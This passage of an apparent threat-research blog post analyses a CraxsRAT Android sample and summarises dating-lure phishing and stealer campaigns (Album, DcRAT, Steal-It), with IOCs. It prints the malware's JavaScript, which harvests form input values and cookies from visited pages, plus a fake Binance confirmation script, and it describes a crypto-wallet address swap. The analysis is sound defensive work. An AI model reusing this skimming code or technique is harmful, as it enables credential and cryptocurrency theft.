The function uses static fields of the Build class of the android.os package to identify: the brand (BRAND), the fingerprint (FINGERPRINT), the hardware (HARDWARE), the model (MODEL), the manufacturer (MANUFACTURER) and the product (PRODUCT) – it extracts information about the build from system settings and analyzes the resulting values to find substrings that may indicate the use of emulation technologies.
If the application detects that an emulator is being used, it displays a message informing the user that emulated devices are not supported:

 ##~ Communication with C&C server

The service initializeService defines variables ClientHost, ClientPort and ConnectionKey that store the IP address of the C2 server, the port and the connection key, respectively:
Both malware samples used services to create temporary tunnels between the local computer and the Internet to establish communication with the server. In one case it was ngrok[.]io, in the other one – playit[.]gg, a global proxy for game servers.
Communication with the C2 server is established by calling methods of a dedicated class. The sendBytes function opens a new socket specifying ClientHost and ClientPort, creates a data stream и and writes the value of bArr into the stream:

 ##~ Logging

The malicious application logs some data: functions writeJSONToFile and readJSONFromFile are implemented to read and write JSON objects, that are being processed during the execution of the malicious modules, from/into local files.
When writing a JSON object to a file, the object is converted into a string and then encrypted using the encrypt method of the EncryptionCUtils class:
When reading a JSON object from a file – the data is decrypted using the decrypt method of the same class:
The EncryptionCUtils class is responsible for encrypting and decrypting data. The encryption algorithm used is AES, with a hard-coded 128-bit secret key SECRET_KEY:

 ##~ Audio recording

When deploying malware functionality, the MyAudoRecorder object of the VoiceRecorder class is initialized:
The VoiceRecorder class allows the malware operator to record audio. The method start defined inside this class initializes a new object of the MediaRecorder class of the android.media package:
  • When calling the setAudioSource method, the number 1 is passed as an argument, which corresponds to the value of the static property MIC and means setting a microphone as a sound source;
  • When calling the setOutputFormat method, the number 1 is passed as an argument, which corresponds to the value of the static property THREE_GPP and means setting 3GPP as an output file format;
  • When calling the setAudioEncoder method, the number 1 is once again passed as an argument, which corresponds to the value of the static property AMR_NB and means setting AMR as an audio codec;
If this malicious module gets enabled, the audio recording from the microphone of the infected device launches. The result will be saved to a local WAV file on the external storage.

 ##~ Location tracking

The application requests access rights to both the approximate (ACCESS_COARSE_LOCATION) and the precise (ACCESS_FINE_LOCATION) location of the infected device.
In addition, the LocationService class is defined – it is a service responsible for location tracking. For example, it implements the onLocationChanged function, which is called when the last known coordinates of the device do not match current ones. The function replaces the values of the fields that store data on latitude (lastKnownLatitude), longtitude (Longting), accuracy (letliudid) and speed of the movement (sp) with the new ones:

 ##~ Gesture control

Gesture control functionality, which comes with the right to use Accessibility features granted by the attacked user, proved out to be one of the most extensive modules, with its functions distributed across various sections of the application.
For example, the AccessService service defines the TouchWatcher method, which performs certain actions regarding gesture control, in accordance with the value passed to it:
  • If its argument equals "Record", case 0 is triggered: the app determines whether recording is currently running based on the value of the RecordTouch variable, if it is not – it will start the recording;
  • If its argument equals "Stop", case 1 is triggered: the app determines whether recording is currently running based on the value of the RecordTouch variable, if it is – saves the recording to an array and writes it down, then resets the value of the RecordTouch variable to be false and clears the array of touches;
  • If its argument equals "Repet", case 2 is triggered: loads the recording located within the path that is passed as the second argument of the function, and repeats each action recorded;
  • If its argument equals "Start", case 3 is triggered: initializes Handler with a background thread that executes operations;
Each case is accompanied by a message sent to the C2 server regarding the outcome of an attempt to execute a specific command.
The SaveTouchs method of the MySettings class is responsible for saving the recording. It generates a JSON object from the dictionary of touch coordinates passed to it, converts it into a string and writes it to a JSON file on external storage, in a folder /Config/sys/apps/tch:
The LoadTouches method of the MySettings class is responsible for loading the recording. It reads an array of touches from a JSON file, which is located on external storage in a folder /Config/sys/apps/tch, and returns a dictionary of touch coordinates:
Some gestures and actions are pre-defined in dedicated functions. For example, scrolling up is defined by a slideUp function that specifies the necessary sequence of coordinates, which is converted into an array of points that is later used by the mouseDraw function:
The mouseDraw function forms a path from an array of points and the path is used to form a description of the gesture that is sent to the device:
The mockGesture function of the PerformGestureUtil class works according to the same principle. It is used for delayed imitation of gestures, repetition of a sequence of touches recorded in a thisAllSteps variable instead of a local file, when the device is being unlocked or a payment is being made:
Many pre-defined gestures require clicks on specific coordinates and this is why the click function is defined. It calls the clickAtPosition function and passes it its arguments i and i2, as well as a node – the root of the active window. The clickAtPosition function checks if the i and i2 coordinates are present within the node and its children. If the condition is satisfied, it performs an action on the element by executing accessibilityNodeInfo.performAction(16), where the number 16 means ACTION_CLICK – click on the element:

 ##~ CraxsBrowser

The most important malicious module that distinguishes the updated version of malware from the older one is the built–in CraxsBrowser browser. It is defined in the CraxsBrowser class and is based on the Chrome client:
When a new instance of the browser is created, several important settings are automatically configured. The application enables JavaScript, activates the DOM storage, grants access to the local files, and sets some other settings:
The interesting thing here is the creation of new execution threads with objects of the AnonymousClass3 class. An object of this class initializes a Handler with a background thread, and an object of the AnonymousClass1 class is passed to it, which executes the getPassword function specifying mWebView as an argument.
The getPassword function runs JavaScript in the context of the passed WebView nd calls an object of the AnonymousClass4 class as a callback function:
JavaScript executed in the context of the passed WebView creates a new iframe element, defines it as the frame variable, overrides console so that it points to the console of the iframe, creates an array of input elements inside the inputs variable and iterates over this array to gather types and values of these elements. The information gathered, as well as Cookies, is then composed into the alltext variable:
var frame = null;

g = () => {
 if (!frame) {
  frame = document.createElement('iframe');
  frame.style.display = 'none';
  document.body.appendChild(frame);
 }

 console = frame.contentWindow.console;
 var inputs = document.querySelectorAll('input');
 var websiteLink = window.location.href;
 var alltext = "";

 inputs.forEach(function(input) {
  var type = input.getAttribute('type');
  var value = input.value;

  if (value !== "" && value !== null && type !== "hidden" && type !== "checkbox") {
   alltext += "[" + type + "]: " + value + "~" + "[Cookie]:" + document.cookie + "~";
  }
 });

 return alltext;
};

g();
The callback function, an object of the AnonymousClass4 class wraps the received data, adding the link to the website that got the script injected into it, and passes it to the access$100 method, which redirects the information to the saveDataToFile method that encodes it in Base64 and writes it down into a text file on external storage, in a folder /Config/sys/apps/Data:

 ##~ Other injections into WebView

This malware contains several separate modules dedicated to injections into WebViews of popular payment applications, such as Binance and Okex. To identify the use of such applications and classify a specific service, each AccessibilityEvent event processed by the malware gets checked against a list of conditions. The application selects the injection module based on the results of checks.
 > Binance
Each AccessibilityEvent event processed by the malware gets checked against a list of conditions, including:
  • the name of the package (PackageName) equals com.binance.dev
  • the name of the resource (ViewIdResourceName) equals com.binance.dev:id/2131378415 or com.binance.dev:id/2131378375
If these conditions are met, the execution proceeds to the binanceinj function:
It sets the WebView settings, determines the user's preferred language and selects the appropriate HTML code encoded in Base64, which is then loaded into the WebView. The HTML page is a confirmation of receipt of a certain amount in USDT. In the decoded version, one can see the script tag that defines the transaction_info function that passes values from the data dictionary to the elements of the page:
...
function transaction_info(data) {
 document.getElementsByClassName("usdt_amount")[0].innerHTML = data.usdt_amount;
 <!-- document.getElementsByClassName("usd_amount")[0].innerHTML = data.usd_amount; -->
 document.getElementsByClassName("chain")[0].innerHTML = data.chain;
 document.getElementsByClassName("from")[0].innerHTML = data.from;
 document.getElementsByClassName("to")[0].innerHTML = data.to;
 document.getElementsByClassName("fee")[0].innerHTML = data.fee;
 document.getElementsByClassName("total_amount")[0].innerHTML = data.total_amount;
}
...
A click listener is initialized in TextView, and upon click, using Accessibility features, some user data, such as the address of the USDT wallet and the number of USDT stored on it, gets written into the variables usdtaddress and usdtamount. During the injection process, as a part of the sendOldValue method of the Binance class, JavaScript is executed within the WebView and the transaction_info function is called, which sets the values of elements of the injected page. Schematically:
Other than that, the main flow of WebView injection into both Binance and Okex, as well as other payment applications, is quite similar and is described below.
 > Okex
The click listener initialized in TextView, apart from writing down the address of the user's USDT wallet and the amount of money stored into corresponding variables, also forcibly edits the values in the com.okinc.okex.gp:id/addressInput nodes, wallet address input elements, to another usdtaddress value defined by the malicious application within the initializeService service, and forcibly clicks buttons indicating the entire amount (com.okinc.okex.gp:id/allAmount) and confirmations (com.okinc.okex.gp:id/confirmBtn):
The editable fields are overlapped with legitimate user data collected by thd malicious application, with use of the showFloat method:

 ##~ Other notes

 > Language
Some embedded elements are selected based on the language of the attacked user's system. The list of languages available includes: English, Japanese, Korean, Chinese, Arabic, and Turkish.
Depending on the malicious module, the language options may vary slightly: sometimes there are extra entries on Russian and Portuguese, other times it lacks Arabic.
However, the primary language of initial values, variables and rare comments is Chinese – as far as is known, the native language of the current main seller and the source of software updates for this malware.
It is noteworthy that the main seller of this software shared in his Telegram channel a different list of supported languages: English, Arabic, Chinese, Turkish, Portuguese, Russian and Spanish.
 > Classification
Based on the rich functionality of the application, which includes a wide variety of malicious features not limited to those described above, it is obvious that this application is a member of the RAT (Remote Administration Trojan) family. Due to the explicit mention of the implemented browser, CraxsBrowser, it can be concluded that, as the name suggest, I have encountered a sample of CraxsRAT malware.
CraxsRAT – is the most recent successor to CypherRAT, SpyNote and SpyMax. It is considered to be one of the most dangerous Trojans for remote control and the software used to operate devices infected with this RAT is said to be one of the most expensive on the market.
Previously, a Syrian cybercriminal was involved in the development and sale of CypherRAT and CraxsRAT. After the source code of CypherRAT and a report on his identity were published, he transferred control of a Telegram channel to a Chinese colleague.
The most recent version, according to the current main seller, includes at least the following functionality:
  • File management: download files from the device, upload files to the device, delete, read, search, copy, paste, encrypt and decrypt, encode and decode, hide files;
  • SMS management: read, delete, send SMS;
  • Camera management: enable and disable cameras, take pictures;
  • Microphone management: eavesdropping and audio recording from the device's microphone;
  • Location tracking: device's live location tracking;
  • Display management: live screen broadcast, screen lock and unlock, capture silent screenshots;
  • Call management: view the call history, delete calls, initiate calls, eavesdropping and audio recording;
  • Notification management: view notifications, send notifications;
  • Application management: view installed apps, run, install and delete apps, view accounts linked to the apps, inject into apps, disaple Internet connection for specific apps;
  • Gesture control: record and replay gestures, keyboard strokes;
  • Remote control: command execution, grant rights both manually and automatically, self-destruction;
 > Indicators of compromise
Filenamestreamtwit.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688/details
FilenameBongaCamSexs.apk
MD565841b046a4069d2a84e01c2e430effc
SHA1fb862581c245859000062ff250fcb27789678876
SHA256243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
VirusTotalvirustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74/details

# Other cases

## Phishing

 ##~ Stealing of payment information

Phishing sites, obviously, are not limited to theaters. This problem covers a wide range of topics and affects a large target audience, both in Russian Federation and other countries. Here is an example of an exact copy of the website discussed above, which targets an Azerbaijani audience (however, some of its pages preserved the original Russian localization):
The FOFA service, configured to look for hosts based solely on the hash of the web application icon, finds more than 100 websites that are absolutely similar to the analyzed one. And a search query for the exact inclusions of the phrase "Знаменитый театр, где каждый спектакль создает новая уникальная команда" ("The famous theater, where each performance is created by a new unique team.") leads to an absurdly large number of relevant pages, including automatically generated reports by online sandbox analysis tools.
It is worth noting that analyzing such a website using automatic tools can be challenging, as most of the results provided by online services are false negatives. Users are left to rely on reviews, if there are any, and rating given by other users like themselves. The theater page that I analyzed was classified as a phishing website by a Kaspersky product, likely due to its localization.
Topics of phishing websites spread in dating apps also vary and include services that sell tickets to theaters and cinemas, on buses, trains and airplanes, provide hotel booking, apartment rents and restaurant reservations, issue gift cards and subscriptions, and much more.

 ##~ Stealing of credentials

Phishing sites that impersonate authentication forms of dating apps are also popular among hackers. This type of phishing is more common abroad, due to the obvious leadership of specific applications that are no longer available in Russia. This scenario involves the use of a lookalike domain and sometimes requires the user to navigate to the form through a link received within a message notifying of a mutual sympathy in the target application:
Post by @olivierhoute regarding the phishing message
Egress Threat Intelligence team estimated that among all of the dating apps impersonation cases of a phishing campaign that targeted organizations in North America and the UK: 53.25% impersonated Tinder, 22.88% – Bumble and 14.46% – Hinge. By the way, they also identified males as the main recipient of such attacks, with 85% of attacks sent to men.
This type of phishing, unlike the one discussed earlier, is not necessary aimed at the theft of payment information. Instead, attackers steal credentials to get into victims' accounts and, from there, perform malicious actions to reap the benefits (look for payment information, look for compromising information, blackmail, ...).

## Exploitation

Recently, experts have identified several large-scale operations that are similar in nature. I would like to draw attention to these operations, as their success has shed light on the state of affairs at the intersection between users and attackers in the realm of romance.
All these campaigns have the following features in common:
  • Malicious files are sent via social media from fake accounts, either to specific groups (dating, adult content) or personally to users after a brief interaction
  • The malware distributed is disguised as archives with photos of girls
  • As a result of exploitation, information is stolen (Cookies, account data stored in browsers, Discord tokens and system information)

 ##~ Album Stealer

Source: Zscaler, ‟Album Stealer Targets Facebook Adult-Only Content Seekers”

Infection Chain
Last winter, a team of Zscaler ThreatLabz researchers discovered the spread of a stealer called Album.

The malware was distributed through fake accounts on social networks that contained women's photos and was disguised as an archive with photographs, an "album". Victims were offered either a Microsoft OneDrive link, or a link to a resource controlled by the attackers, including such domains as: keeptosafe[.]top, shopalbum[.]xyz, findalbum[.]top, ...

The malicious archive contains:
  • an executable file Album.exe
  • DLL-library PdfiumControl.dll
  • file data.dat
Album.exe – a legitimate sample of TresoritPdfViewer software, vulnerable to DLL sideloading attack. Upon execution, it is exploited – a malicious PdfiumControl.dll library is loaded, which runs data.dat – a self-extracting archive that actually drops photos of girls. At the same time, the malicious DLL decrypts the contents included in it, generating the following files on the infected device:
  • \%AppData%\Roaming\Canon\CNQ.exe
  • \%AppData%\Roaming\Canon\Curl.dll
  • \%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll
  • \%AppData%\Roaming\Canon\log4net.dll
Then the CNQ.exe is executed – it is yet another piece of a legitimate software, vulnerable to the same attack. A malicious library Curl.dll is loaded and it:
  1. performs pivoting: creates registry keys to automatically run malware at the system startup
  2. downloads from a remote resource and locally saves the file sparkle-windows.xml that provides a remote link to download an archive \%AppData%\Roaming\Canon\app{18_digits}.zip that drops a list of files, including DiskCompactionTool.exe and WDLocale.dll
By analogy with previous cases, DiskCompactionTool.exe – is a legitimate sample of the WD Sync software, that also loads a malicious WDLocale.dll.

The process repeats: the malicious library downloads an archive \%AppData%\Roaming\Bluestack\app{18_digits}.zip and unpacks it.

Interaction of the extracted legitimate Bravia.exe and the malicious CNQMUTIL.dll leads to the theft of sensitive information. The stealer looks for any files within the %AppData% directory that contain the following substrings in their names:
  • Local State
  • Login Data
  • Cookies
  • cookies.sqlite
It copies them to a dedicated folder and then processes them:
  1. decrypts and extracts credentials stored in browsers
  2. decrypts and extracts Cookies
  3. collects information about business and advertising accounts
  4. sends all of the collected data to the C2 server

 ##~ OnlyDcRatFans

Source: eSentire, ‟OnlyDcRatFans: Malware Distributed Using Explicit Lures of OnlyFans Pages and Other Adult Content”
Last summer, the effects of another attack were now described by experts at eSentire.

The malware was also distributed in the form of archives with photos of girls and consisted of a VBScript loader, a modified legitimate Windows that is used for interacting with printers. This loader included a payload, a shellcode and a DLL-library dynwrapx.dll. The library was used to obtain access to a DynamicWrapperX object. This object was used to load CallWindowProcW from user32.dll and VirtualAlloc from kernel32.dll. The payload was then loaded into memory and CallWindowProcW was called to execute the shellcode. This allowed the payload to inject itself into \Microsoft.NET\Framework\v4.0.30319\RegAsm.exe.

In all observed cases, the payload turned out to be a sample of DcRAT – a version of AsyncRAT. It provides such features as:
  • remote control
  • keylogging
  • camera management
  • file management
  • browser data theft
  • Discord tokens theft
  • plugin for encryption and ransom

 ##~ Steal-It Campaign

Source: Zscaler, ‟Steal-It Campaign”
In the fall, Zscaler experts once again stumbled upon a hacker campaign with the same characteristics, this time on a larger scale and, surprisingly, targeted.

Based on the type of information collected and the characteristics of the victims, each instance within the campaign can be categorized into one of 4 scenarios. A few of these scenarios involve the use of malware disguised as photos of girls. Let us look into these cases in more detail.

SystemInfo Stealing Infection Chain flow
The user receives an archive, which contains an LNK shortcut file. When the user attempts to open the shortcut, the browser launches with a command-line argument, a JavaScript code that opens the OnlyFans website and redirects the user via location.href to the run[.]mocky[.]io instance controlled by the attacker. The malicious page has an embedded JavaScript code that checks if the user's operating system is Windows and if their country, as determined by IPAPI, the geolocation API, is Australia, and if these conditions are met, downloads an LNK file m8 from blob and redirects the user to a legitimate website. The downloaded file is moved to the Startup folder.

The m8.lnk downloads the m8.cmd file from the service controlled by the attackers and places it nearby. Executing m8.cmd means:
  • running commands ipconfig, systeminfo, tasklist
  • sending Base64 encoded outputs of these commands to the C2 server

Fansly Whoami Exfil Infection Chain flow
Another scenario is similar to the previous one: the attacked users infect their devices by unpacking an archive with photos and opening a shortcut stored inside, which opens the browser and redirects the user to run[.]mocky[.]io. Now, before performing malicious actions, they check that the user's country is Poland.

If the conditions are met, another archive is downloaded to the device. It contains real photos of Slavic girls and a batch script file. When the script is executed, it downloads malicious VBScript, opens girls' profiles in content subscription services and downloads and runs an additional CMD file from mockbin[.]org.

Finally, the eucv8o.cmd file:
  • executes whoami command
  • sends the Base64 encoded output to the C2 server

# Food for thought

Every year, the number of cybercrimes that prey on a nagging sense of loneliness, exploit basic human needs and originate from services where people look for deliverance is only growing – this is supported by every study of related statistics.

The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February.

Source: Avast
<...> they noted a staggering 43% increase in attacks impersonating well-established dating apps including Tinder and Hinge between January 1, 2024, until February 5, 2024, compared to 2023.

Source: Egress Threat Intelligence
In 2023, more than 660 million bot requests on popular dating apps were detected.

Source: Cequence
From February 12 to 14, running Fake Date scheme, scammers from 5 groups earned 2 275 870 rubles, which is 2 times more than in the same period last year, F.A.C.C.T. analysts calculated. For comparison, in 2023, scammers from 7 scam groups were able to steal 1.1 million rubles from victims.

Source: F.A.C.C.T.


The desire to get closer through a dating app, the desire to chat with a girl in her favorite chat, the desire to see photos that she took for you – all these things are no longer safe and may lead to unexpected consequences. Extra caution may lead to suspicion, and suspicion undermines trust, which is a key ingridient make the relationship work. It is in the romantic realm where the line between strangers | potential partners, danger | curiosity, an attempt to protect yourself | an intent to put up a wall – is absolutely blurred, and this is frightening. In this matter, everyone is much more vulnerable than they usually are, and attackers will actively continue to exploit this fact without a twinge of conscience.

present day, present time